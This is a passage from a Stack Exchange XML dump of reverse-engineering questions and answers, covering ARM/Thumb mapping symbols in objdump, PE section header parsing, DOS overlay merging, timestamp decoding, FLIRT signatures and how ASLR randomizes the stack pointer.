-mlittle-endian -c -o arm_sample arm_sample.s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, here is the output of &lt;code&gt;objdump&lt;/code&gt; on the ARM object file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; objdump -d ./arm32_mov&#xA;&#xA;./arm32_mov:     file format elf32-littlearm&#xA;&#xA;Disassembly of section .text:&#xA;00000000 &amp;lt;.text&amp;gt;:&#xA;   0:   e3a0b000    mov fp, #0&#xA;   4:   01a01000    moveq   r1, r0&#xA;   8:   2000        movs    r0, #0&#xA;   a:   4683        mov fp, r0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, when I run my tool, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; warning: decoder says at (0x8,0):'strmi r2, [r3], r0' : Unknown mnemonic&#xA;   0:   00 b0 a0 e3                 mov fp, #0&#xA;   4:   00 10 a0 01                 moveq   r1, r0&#xA;   8:   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My tool is based on &lt;code&gt;libopcodes&lt;/code&gt; (exactly like &lt;code&gt;objdump&lt;/code&gt;), so the third instruction is just interpreted as still in 32-bits mode and the two thumb mode instructions are just interpreted as one 32-bits instruction which gives &lt;code&gt;strmi r2, [r3], r0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is that I don't understand how &lt;code&gt;objdump&lt;/code&gt; knows that there is a switch between normal mode to thumb mode. Before discovering this, I thought that this information was only available at execution time though the value of the &lt;code&gt;t&lt;/code&gt; flag in the CPSR status register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to look at the code of &lt;code&gt;objdump&lt;/code&gt; but, I didn't see any architecture dependent cases to treat the case of the ARM thumb mode. So, this is still a mystery to me... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion is welcome !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I worked on an object file (compiled with &lt;code&gt;-c&lt;/code&gt; option), so there is not so much symbols. But, here is a more detailed output obtained through &lt;code&gt;objdump&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; objdump -x ./arm32_mov&#xA;&#xA;./arm32_mov:     file format elf32-littlearm&#xA;./arm32_mov&#xA;architecture: armv4t, flags 0x00000010:&#xA;HAS_SYMS&#xA;start address 0x00000000&#xA;private flags = 5000000: [Version5 EABI]&#xA;&#xA;Sections:&#xA;Idx Name          Size      VMA       LMA       File off  Algn&#xA;  0 .text         0000000c  00000000  00000000  00000034  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, CODE&#xA;  1 .data         00000000  00000000  00000000  00000040  2**0&#xA;                  CONTENTS, ALLOC, LOAD, DATA&#xA;  2 .bss          00000000  00000000  00000000  00000040  2**0&#xA;                  ALLOC&#xA;  3 .ARM.attributes 00000016  00000000  00000000  00000040  2**0&#xA;                  CONTENTS, READONLY&#xA;SYMBOL TABLE:&#xA;00000000 l    d  .text  00000000 .text&#xA;00000000 l    d  .data  00000000 .data&#xA;00000000 l    d  .bss   00000000 .bss&#xA;00000000 l    d  .ARM.attributes    00000000 .ARM.attributes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, here is the output of &lt;code&gt;readelf&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; readelf -a ./arm32_mov&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              REL (Relocatable file)&#xA;  Machine:                           ARM&#xA;  Version:                           0x1&#xA;  Entry point address:               0x0&#xA;  Start of program headers:          0 (bytes into file)&#xA;  Start of section headers:          148 (bytes into file)&#xA;  Flags:                             0x5000000, Version5 EABI&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           0 (bytes)&#xA;  Number of program headers:         0&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         8&#xA;  Section header string table index: 5&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] .text             PROGBITS        00000000 000034 00000c 00  AX  0   0  4&#xA;  [ 2] .data             PROGBITS        00000000 000040 000000 00  WA  0   0  1&#xA;  [ 3] .bss              NOBITS          00000000 000040 000000 00  WA  0   0  1&#xA;  [ 4] .ARM.attributes   ARM_ATTRIBUTES  00000000 000040 000016 00      0   0  1&#xA;  [ 5] .shstrtab         STRTAB          00000000 000056 00003c 00      0   0  1&#xA;  [ 6] .symtab           SYMTAB          00000000 0001d4 000070 10      7   7  4&#xA;  [ 7] .strtab           STRTAB          00000000 000244 000007 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&#xA;There are no section groups in this file.&#xA;There are no program headers in this file.&#xA;There are no relocations in this file.&#xA;There are no unwind sections in this file.&#xA;&#xA;Symbol table '.symtab' contains 7 entries:&#xA;   Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 00000000     0 SECTION LOCAL  DEFAULT    1 &#xA;     2: 00000000     0 SECTION LOCAL  DEFAULT    2 &#xA;     3: 00000000     0 SECTION LOCAL  DEFAULT    3 &#xA;     4: 00000000     0 NOTYPE  LOCAL  DEFAULT    1 $a&#xA;     5: 00000008     0 NOTYPE  LOCAL  DEFAULT    1 $t&#xA;     6: 00000000     0 SECTION LOCAL  DEFAULT    4 &#xA;&#xA;No version information found in this file.&#xA;Attribute Section: aeabi&#xA;File Attributes&#xA;  Tag_CPU_arch: v4T&#xA;  Tag_ARM_ISA_use: Yes&#xA;  Tag_THUMB_ISA_use: Thumb-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION (Ian Cook)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump --syms --special-syms ./arm32_mov&#xA;&#xA;./arm32_mov:     file format elf32-littlearm&#xA;&#xA;SYMBOL TABLE:&#xA;00000000 l    d  .text  00000000 .text&#xA;00000000 l    d  .data  00000000 .data&#xA;00000000 l    d  .bss   00000000 .bss&#xA;00000000 l       .text  00000000 $a   &amp;lt;-- ARM code&#xA;00000008 l       .text  00000000 $t   &amp;lt;-- Thumb code&#xA;00000000 l    d  .ARM.attributes    00000000 .ARM.attributes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to be sure, I interleaved arm code, thumb code and arm code again. Here is the dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; objdump --syms --special-syms ./arm32_mov&#xA;&#xA;./arm32_mov:     file format elf32-littlearm&#xA;&#xA;SYMBOL TABLE:&#xA;00000000 l    d  .text  00000000 .text&#xA;00000000 l    d  .data  00000000 .data&#xA;00000000 l    d  .bss   00000000 .bss&#xA;00000000 l       .text  00000000 $a&#xA;00000008 l       .text  00000000 $t&#xA;0000000c l       .text  00000000 $a&#xA;00000000 l    d  .ARM.attributes    00000000 .ARM.attributes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that the ARM symbol is present twice at &lt;code&gt;0x0&lt;/code&gt; and &lt;code&gt;0xc&lt;/code&gt; and are surrounding the thumb symbol.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-08-16T09:23:35.660" LastActivityDate="2019-12-20T10:51:00.007" Title="How to detect thumb mode in ARM disassembly?" Tags="|disassembly|assembly|arm|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6081" PostTypeId="2" ParentId="6077" CreationDate="2014-08-15T22:39:14.270" Score="9" Body="&lt;p&gt;I have extensive experience with parsing the PE on Windows, mainly for use in function interception. Here are the steps you should follow to achieve your goal.&lt;/p&gt;&#xA;&lt;p&gt;The first step is to find the base address of the image loaded into memory. This step will be different depending on if the executable has or hasn't been mapped into memory, but the basic idea will be the same. Assuming that you are interested in doing this for a file on disk, then you may do this with the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;file mapping API&lt;/a&gt;, if you would prefer to implement this on an executable loaded into memory as a running process, you can achieve the equivalent by using the the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-module-list&quot; rel=&quot;nofollow noreferrer&quot;&gt;tool help snapshot API&lt;/a&gt;. The base address will be the same as the field &lt;code&gt;hModule&lt;/code&gt; in the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-moduleentry32&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MODULEENTRY32&lt;/code&gt;&lt;/a&gt; data retrieved from the snapshot. For more information about what a module handle is, see &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/2004/06/14&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once you have completed the first step, the structure at the base address is the &lt;a href=&quot;https://stackoverflow.com/questions/6126980/get-pointer-to-image-dos-header-with-getmodulehandle&quot;&gt;&lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt;&lt;/a&gt;, while this is not documented on MSDN, it has two very important but cryptic fields.  The two fields you will need to know are the &lt;code&gt;e_magic&lt;/code&gt; field and the &lt;code&gt;e_lfanew&lt;/code&gt; field. The &lt;code&gt;e_magic&lt;/code&gt; field contains a double word for 32-bit or quadruple for 64-bit that allows you to test if the file being read or your implementation is correctly formatted with the correct value being defined as &lt;code&gt;IMAGE_DOS_SIGNATURE&lt;/code&gt;, which is the ASCII-Z string of &amp;quot;MZ\0&amp;quot;. The &lt;code&gt;e_lfanew&lt;/code&gt; field contains a &lt;a href=&quot;https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address&quot;&gt;relative virtual address&lt;/a&gt; which you need to add to the image base you found in step one to calculate the &lt;a href=&quot;https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address&quot;&gt;virtual address&lt;/a&gt; of the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt;&lt;/a&gt; structure.&lt;/p&gt;&#xA;&lt;p&gt;The third step will be to check the first member of the &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; to see if it is an actual PE file, this will be defined by the &lt;code&gt;Signature&lt;/code&gt; field of the structure, and the defined constant to test for will be &lt;a href=&quot;https://web.archive.org/web/20180706112517/http://win32assembly.programminghorizon.com:80/pe-tut2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMAGE_NT_SIGNATURE&lt;/code&gt;&lt;/a&gt;. This is not typically nessecary, since most Windows versions will be using the PE format of executable file, but it's good practice in order to ensure your code is a bit more robust.&lt;/p&gt;&#xA;&lt;p&gt;Once everything checks out and you have performed steps 1-3, step four will be when you can finally calculate the address of the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt;&lt;/a&gt; structures. The IMAGE_SECTION_HEADER structures are stored as an array in the file, so to obtain the size of the array, you will need to use the &lt;code&gt;NumberOfSections&lt;/code&gt; member in the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMAGE_FILE_HEADER&lt;/code&gt;&lt;/a&gt; structure which is nested in the &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; structure mentioned above.Once you have that value, you may find the virtual address of the first &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt; by adding the size of the &lt;code&gt;Signature&lt;/code&gt; member of the &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; structure, the size of the &lt;code&gt;FileHeader&lt;/code&gt; member in the &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; structure, and finally the &lt;code&gt;SizeOfOptionalHeader&lt;/code&gt; value in the &lt;code&gt;IMAGE_FILE_HEADER&lt;/code&gt; structure. The reason you can't simply do a &lt;code&gt;sizeof(&lt;/code&gt; &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;&lt;/a&gt; &lt;code&gt;)&lt;/code&gt; for the last value in the formula listed above is because a file on disk &lt;em&gt;&lt;strong&gt;will not&lt;/strong&gt;&lt;/em&gt; have the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;, so to obtain the proper size dynamically, you should do so through the structure member I mentioned earlier.&lt;/p&gt;&#xA;&lt;p&gt;Now you may simply copy the array of &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt; structures from memory any way you please. Just remember, that these structures &lt;em&gt;are contigous&lt;/em&gt; in memory, so all you need to do is multiply the size of each structure by the number of sections to find the total size of the entire array in memory. After you have calculate that value, it will be trivial to collect the data.&lt;/p&gt;&#xA;&lt;p&gt;For more resources on the PE executable format, see this wonderful article written by Matt Pietrek, &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/ms809762%28v=msdn.10%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Peering Inside the PE&lt;/em&gt;&lt;/a&gt;. You may also take a look at the official specification &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8215" LastEditorUserId="13506" LastEditDate="2022-05-27T13:13:25.057" LastActivityDate="2022-05-27T13:13:25.057" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="6082" PostTypeId="2" ParentId="4366" CreationDate="2014-08-15T23:04:36.500" Score="6" Body="&lt;p&gt;Pending a native IDA solution, I could solve this for myself with a C program that used the following procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read the &lt;em&gt;base&lt;/em&gt; executable into memory;&lt;/li&gt;&#xA;&lt;li&gt;Read the &lt;em&gt;overlay&lt;/em&gt; into memory. Note that this is a regular executable, in its own right.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;base&lt;/em&gt; executable, adjust the following EXE header items:&lt;br&gt;&#xA;a. set &lt;code&gt;bytes_in_last_block&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;,&lt;br&gt;&#xA;b. add the &lt;code&gt;blocks_in_file&lt;/code&gt; from the overlay to the base's,&lt;br&gt;&#xA;c. add the &lt;code&gt;num_relocs&lt;/code&gt; from the overlay to the base's.&lt;/li&gt;&#xA;&lt;li&gt;Calculate the &lt;em&gt;new&lt;/em&gt; executable size; this is the total number of &lt;code&gt;blocks_in_file&lt;/code&gt; * 512 - &lt;code&gt;original_header_paragraphs&lt;/code&gt;*16. You need this number for the new stack segment &lt;code&gt;ss&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The new &lt;code&gt;header_paragraphs&lt;/code&gt; size - that is, the original one plus the relocations from the overlay - is going to be &lt;code&gt;reloc_table_offset + 4*num_relocs&lt;/code&gt;. Make sure to round up to paragraph size, &lt;code&gt;16&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point the new header should be complete. Write it to a new file. The main executable's relocation table should be unchanged, and you can write it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;overlay's&lt;/em&gt; relocation table then needs to be adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relocation table itself contains a &lt;code&gt;segment:offset&lt;/code&gt; pair for each relocation that points into the binary executable image to the position where a zero-based segment value is stored (i.e., the value for &quot;the first segment&quot; would be &lt;code&gt;0000h&lt;/code&gt;, and when loaded, the &lt;em&gt;actual&lt;/em&gt; segment is added to this value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you added data to the executable part, you need to adjust the linear offset into the file; add the size of the original executable code (which should be rounded upwards to a 512-byte long page). Read the &lt;em&gt;segment&lt;/em&gt; at this position, add the size of the original executable code in &lt;em&gt;paragraphs&lt;/em&gt;, and write it back. Then add the size of the original executable code to the &lt;code&gt;segment&lt;/code&gt; part of the original relocation. Do this for each relocation in the overlay's table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adjusting the overlay's relocation table, write this to your output file, immediately followed by the original executable's &lt;em&gt;data&lt;/em&gt; (which is totally unchanged). Then add the changed overlay data to the output file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is that the executable I tested with (only one!) stored a very small stack in the executable as well. I cannot tell if that's usual or not; I had to remove the saved stack from the 'main' code, and add it again after the combined main code + overlay code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Important note!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This procedure worked for me because the program I tested it on uses dynamically-loaded overlays. The main program loads the overlay and copies a number of data and code addresses into the main &lt;code&gt;dseg&lt;/code&gt; segment. After that, it calls the overlaid code through these pointers. The overlaid code used &lt;code&gt;ds&lt;/code&gt; &quot;as usual&quot;, it simply used the main's &lt;code&gt;dseg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, now the &quot;initialization&quot; routine did not get called, these pointers to the overlaid routines are uninitialized and you have to find out manually what gets copied to where. But at least all code can be loaded into IDA in one go.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Will it still run?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Of course it will. The main code calls &lt;code&gt;LOAD/EXEC&lt;/code&gt;, the overlay gets loaded, pointers get copied, and All is Well. The only thing is that the main executable is suddenly a whole lot larger .. but that extra part is never seen nor used by the original code. (Naturally, the main executable may now be so large that there is no more memory left to load overlays.)&lt;br&gt;&#xA;The purpose of this exercise was &lt;em&gt;not&lt;/em&gt; to remove the need to &lt;em&gt;load&lt;/em&gt; the overlays, only to be able to disassemble the entire thing as one binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the C source here: &lt;a href=&quot;http://www.jongware.com/binaries/combine_exe_ovl.zip&quot; rel=&quot;noreferrer&quot;&gt;http://www.jongware.com/binaries/combine_exe_ovl.zip&lt;/a&gt;&lt;br&gt;&#xA;- be warned, it's a pretty dirty hackish piece of code, so it comes with &lt;em&gt;no warranties&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2014-08-15T23:29:51.317" LastActivityDate="2014-08-15T23:29:51.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6083" PostTypeId="2" ParentId="6079" CreationDate="2014-08-16T03:36:17.907" Score="1" Body="&lt;p&gt;Replace &lt;code&gt;return l1ll.join('');&lt;/code&gt; with &lt;code&gt;alert(lIll.join(''));&lt;/code&gt; and the pre-obfuscated code will pop right out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's incorrect to call this a decryption.  It's just a de-obfuscation. &lt;/p&gt;&#xA;" OwnerUserId="8275" LastActivityDate="2014-08-16T03:36:17.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6084" PostTypeId="2" ParentId="6073" CreationDate="2014-08-16T03:51:24.240" Score="0" Body="&lt;p&gt;Structurally, it resembles HC-256, but it's hard to say for certain without running it and comparing the input/output to an existing HC-256 implementation. &lt;/p&gt;&#xA;" OwnerUserId="8275" LastActivityDate="2014-08-16T03:51:24.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6085" PostTypeId="2" ParentId="6080" CreationDate="2014-08-16T06:21:47.867" Score="11" Body="&lt;p&gt;An ARM object file should contain symbols identifying the regions that are arm code (&lt;code&gt;$a&lt;/code&gt;), thumb code (&lt;code&gt;$t&lt;/code&gt;) and literal data (&lt;code&gt;$d&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see these as symbols #4 and #5 in your read-elf output.&#xA;i.e. offset &lt;code&gt;0&lt;/code&gt; is arm, offset &lt;code&gt;8&lt;/code&gt; is thumb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;obj-dump will output these symbols too if you use the&lt;code&gt;--special-syms&lt;/code&gt;option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ihi0044e/IHI0044E_aaelf.pdf&quot; rel=&quot;noreferrer&quot;&gt;ARM ELF ABI&lt;/a&gt; will help you understand what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are planning to try to disassemble ARM code in an Apple (Mach-O) executable or in a firmware blob then you'll have to use another technique as these symbols won't be present.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="53" LastEditDate="2014-08-16T09:10:24.493" LastActivityDate="2014-08-16T09:10:24.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6086" PostTypeId="2" ParentId="5947" CreationDate="2014-08-16T19:54:14.533" Score="7" Body="&lt;p&gt;The non-linearity is a clue that it's a floating-point encoding. If you are familiar with looking at floating point values in memory dumps, the most significant byte is often in the &lt;code&gt;0x3f&lt;/code&gt;-&lt;code&gt;0x4f&lt;/code&gt; range, representing values from &lt;code&gt;3e-5&lt;/code&gt; to &lt;code&gt;2e77&lt;/code&gt; for doubles. In this case, it's little-endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;code&gt;00 4C 99 57 38 E5 CC 42 - 21.07.2014 14:38:26&lt;/code&gt; -&gt; unpacks to -&gt; &lt;code&gt;63541636706968.0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working the other direction, let's examine the standard encoding for that date.&#xA;UNIX &lt;code&gt;time_t&lt;/code&gt; (seconds since 1970 epoch) = &lt;code&gt;1405949906&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's four orders of magnitude too small. Not good; perhaps we could try seconds since 1 AD. Assuming &lt;code&gt;365.2425&lt;/code&gt; days per year for now, and remembering day, month and year numbering starting at 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(21-1 + 181 days before July + (2014-1AD)*365.2425)*86400 sec/day + 14*3600 + 38*60 + 26 = 63541563483.0&#xA;63541563483.0 * 1000 = 63541563483000.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's similar to the decoded number, but it's off by ~1000x; the encoded value must be in milliseconds. The prediction is not precise, we are off by approximately 1 day. We should still test if it continues to work on other values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 CB 42 - 22.06.1882 18:24:59&#xA;decoding: 59373627899904.0&#xA;prediction: 59373553811000.0&#xA;&#xA;00 00 00 00 00 00 67 42 - 15.01.0026 16:33:02&#xA;decoding: 790273982464.0&#xA;prediction: 790192982000.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Close, but again off by approximately 1 day. We have to examine our assumptions. The Gregorian calendar system we use with its leap years only extends back to 1582, but this system has a zero point before that. We have to guess what the programmer did to extend this backwards to 1AD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the zero point by running floating-point zero (all zeros) through the program; it should show the exact date-time origin the programmer chose. If the program doesn't accept zero, you can use a very small double value like &lt;code&gt;DBL_MIN&lt;/code&gt;. You also have to examine exactly how leap days are handled by the program, if it correctly considers the 400 year rule, and any implementation bugs.&lt;/p&gt;&#xA;" OwnerUserId="8312" LastEditorUserId="53" LastEditDate="2014-08-17T07:38:19.507" LastActivityDate="2014-08-17T07:38:19.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6087" PostTypeId="2" ParentId="6076" CreationDate="2014-08-17T07:01:50.683" Score="3" Body="&lt;p&gt;I found out that there is no specification of what the PHP bytecode should look like, so vendors implement it differently. So technically there is no such thing as &quot;php bytecode&quot;, it only exists when talking about a particular engine, e.g. &quot;zend bytecode&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8301" LastActivityDate="2014-08-17T07:01:50.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6089" PostTypeId="1" AcceptedAnswerId="6091" CreationDate="2014-08-17T14:33:16.650" Score="3" ViewCount="1791" Body="&lt;p&gt;I'm trying to create a .sig file for sqlite3. I downloaded the source code from the website, compiled it into a .lib (smoothly), and this is what I get when I try to turn it into a .pat file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plb.exe -v sqlite.lib&#xA;sqlite.lib: invalid module at offset 143146. Skipping.&#xA;sqlite.lib: invalid module at offset 2587742. Skipping.&#xA;sqlite.lib: skipped 2, total 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting .pat file is empty and I cannot proceed to create the final file with sigmake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google doesn't seem to indicate that anyone has ever had an &quot;invalid module at offset&quot; problem in the entire world, so I'm guessing this is pretty unique. I'm stuck. Help?&lt;/p&gt;&#xA;" OwnerUserId="6971" LastActivityDate="2014-08-19T21:35:04.953" Title="Unable to create FLIRT signature for IDA" Tags="|ida|flirt-signatures|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6091" PostTypeId="2" ParentId="6089" CreationDate="2014-08-18T14:00:43.983" Score="7" Body="&lt;p&gt;plb.exe is designed for OMF libraries (primarily used for 16 bit Borland compilers). What you probably want is pcf.exe, which parses COFF libraries commonly used in 32 bit windows.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2014-08-19T21:35:04.953" LastActivityDate="2014-08-19T21:35:04.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6092" PostTypeId="1" CreationDate="2014-08-19T06:27:18.823" Score="2" ViewCount="1311" Body="&lt;p&gt;There are many functions running on the system and also they require the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86#Purpose&quot; rel=&quot;nofollow&quot;&gt;ESP register&lt;/a&gt; (x86). So if its value becomes constant(by turning off the &lt;a href=&quot;http://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;ASLR&lt;/a&gt;), then how could it be possible for every function to have same ESP value?&lt;/p&gt;&#xA;" OwnerUserId="8329" LastEditorUserId="1413" LastEditDate="2014-08-20T09:57:50.197" LastActivityDate="2014-08-20T09:57:50.197" Title="Why is the value of the ESP register the same every time, when we turnoff the ASLR?" Tags="|disassembly|memory|exploit|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6093" PostTypeId="2" ParentId="6092" CreationDate="2014-08-19T07:14:00.990" Score="5" Body="&lt;p&gt;Because the operating system is initializing &lt;code&gt;ESP&lt;/code&gt; always at the same value (and that the execution of the program you look at are deterministic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way the ASLR (Address-Space Layout Randomization) works for stack randomization is very simple. At program start, the operating system, when initializing the &lt;code&gt;ESP&lt;/code&gt; register, will add a random value to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you disable the ASLR, this addition is skipped and start always at the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in Linux (&lt;code&gt;arch/x86/kernel/process.c&lt;/code&gt;) we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long arch_align_stack(unsigned long sp)&#xA;{&#xA;    if (!(current-&amp;gt;personality &amp;amp; ADDR_NO_RANDOMIZE) &amp;amp;&amp;amp; randomize_va_space)&#xA;            sp -= get_random_int() % 8192;&#xA;    return sp &amp;amp; ~0xf;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, the stack-pointer (&lt;code&gt;ESP&lt;/code&gt;) is added to a random value to shuffle its original value. And, it will be ignored if one of the conditions in the conditional is not true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other OSes behave approximately the same (up to my knowledge).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-08-19T07:14:00.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
